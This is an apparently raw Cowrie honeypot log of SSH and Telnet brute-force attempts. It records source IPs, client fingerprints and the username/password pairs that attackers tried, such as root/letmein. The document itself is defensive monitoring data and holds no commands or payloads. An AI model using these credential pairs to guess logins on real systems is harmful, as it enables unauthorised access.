{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":42504,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a1a46da21cf","protocol":"ssh","message":"New connection: 202.61.233.105:42504 (10.17.0.5:22) [session: 6a1a46da21cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:58.311982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:58.316040Z","src_ip":"202.61.233.105","session":"6a1a46da21cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:58.409394Z","src_ip":"202.61.233.105","session":"6a1a46da21cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wif456","message":"login attempt [root/wif456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:58.686523Z","src_ip":"202.61.233.105","session":"6a1a46da21cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:35:59.780804Z","src_ip":"202.61.233.105","session":"6a1a46da21cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.31.115.157","src_port":53210,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e10f0769213","protocol":"ssh","message":"New connection: 113.31.115.157:53210 (10.17.0.5:22) [session: 8e10f0769213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:01.168205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:01.173777Z","src_ip":"113.31.115.157","session":"8e10f0769213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:01.395692Z","src_ip":"113.31.115.157","session":"8e10f0769213","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Hello@123","message":"login attempt [deploy/Hello@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:03.291405Z","src_ip":"113.31.115.157","session":"8e10f0769213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.69","src_port":44842,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f7f50a70353","protocol":"telnet","message":"New connection: 154.90.70.69:44842 (159.203.135.109:23) [session: 9f7f50a70353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:10.211232Z"}
{"eventid":"cowrie.session.closed","duration":0.005705356597900391,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:10.216792Z","src_ip":"154.90.70.69","session":"9f7f50a70353","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.69","src_port":44854,"dst_ip":"159.203.135.109","dst_port":23,"session":"5882e8bdb44b","protocol":"telnet","message":"New connection: 154.90.70.69:44854 (159.203.135.109:23) [session: 5882e8bdb44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:10.281464Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:10.726708Z","src_ip":"8.210.75.243","session":"7bb9490273eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"666666","password":"666666","message":"login attempt [666666/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:12.083011Z","src_ip":"154.90.70.69","session":"5882e8bdb44b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0019733905792236,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:13.283298Z","src_ip":"154.90.70.69","session":"5882e8bdb44b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.111.155","src_port":41206,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bc57f189c35","protocol":"ssh","message":"New connection: 101.36.111.155:41206 (10.17.0.5:22) [session: 1bc57f189c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:14.824793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:14.902034Z","src_ip":"101.36.111.155","session":"1bc57f189c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:15.113009Z","src_ip":"101.36.111.155","session":"1bc57f189c35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123321","message":"login attempt [root/ABCabc123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:15.962399Z","src_ip":"101.36.111.155","session":"1bc57f189c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":50278,"dst_ip":"10.17.0.5","dst_port":22,"session":"558f627cbacb","protocol":"ssh","message":"New connection: 185.243.11.39:50278 (10.17.0.5:22) [session: 558f627cbacb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:16.207594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:16.211480Z","src_ip":"185.243.11.39","session":"558f627cbacb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:16.302661Z","src_ip":"185.243.11.39","session":"558f627cbacb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andreas","password":"andreas321","message":"login attempt [andreas/andreas321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:16.577008Z","src_ip":"185.243.11.39","session":"558f627cbacb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:17.180521Z","src_ip":"101.36.111.155","session":"1bc57f189c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:17.670225Z","src_ip":"185.243.11.39","session":"558f627cbacb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":57936,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2d6cbb322d1","protocol":"ssh","message":"New connection: 2.57.122.209:57936 (10.17.0.5:22) [session: a2d6cbb322d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:19.759282Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37066,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba3177d9c6df","protocol":"telnet","message":"New connection: 170.64.224.25:37066 (159.203.135.109:23) [session: ba3177d9c6df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:20.030438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:20.264615Z","src_ip":"2.57.122.209","session":"a2d6cbb322d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:20.286902Z","src_ip":"2.57.122.209","session":"a2d6cbb322d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":45288,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbc1a5ece9b7","protocol":"ssh","message":"New connection: 8.210.75.243:45288 (10.17.0.5:22) [session: dbc1a5ece9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:23.056220Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein","message":"login attempt [root/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:23.702535Z","src_ip":"2.57.122.209","session":"a2d6cbb322d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:26.200354Z","src_ip":"2.57.122.209","session":"a2d6cbb322d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.50","src_port":59308,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7326779cda6","protocol":"ssh","message":"New connection: 101.47.159.50:59308 (10.17.0.5:22) [session: e7326779cda6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:26.343971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:26.347248Z","src_ip":"101.47.159.50","session":"e7326779cda6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:26.597038Z","src_ip":"101.47.159.50","session":"e7326779cda6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wanwan123","message":"login attempt [root/wanwan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:27.636528Z","src_ip":"101.47.159.50","session":"e7326779cda6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.682111740112305,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:27.658409Z","src_ip":"170.64.224.25","session":"a8e5b4ae8d7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:28.890308Z","src_ip":"101.47.159.50","session":"e7326779cda6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":43118,"dst_ip":"159.203.135.109","dst_port":22,"session":"697d0781d54b","protocol":"ssh","message":"New connection: 159.65.58.200:43118 (159.203.135.109:22) [session: 697d0781d54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:34.595879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:34.813350Z","src_ip":"159.65.58.200","session":"697d0781d54b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:34.816183Z","src_ip":"159.65.58.200","session":"697d0781d54b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shipilov","password":"123456","message":"login attempt [shipilov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:36.189036Z","src_ip":"159.65.58.200","session":"697d0781d54b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:37.436854Z","src_ip":"159.65.58.200","session":"697d0781d54b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57366,"dst_ip":"10.17.0.5","dst_port":22,"session":"de983eda2f66","protocol":"ssh","message":"New connection: 8.210.75.243:57366 (10.17.0.5:22) [session: de983eda2f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:44.315813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:44.804390Z","src_ip":"8.210.75.243","session":"de983eda2f66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.187.165.26","src_port":32816,"dst_ip":"10.17.0.5","dst_port":22,"session":"34b8b1f94e2f","protocol":"ssh","message":"New connection: 103.187.165.26:32816 (10.17.0.5:22) [session: 34b8b1f94e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:45.981476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:36:45.984722Z","src_ip":"103.187.165.26","session":"34b8b1f94e2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-s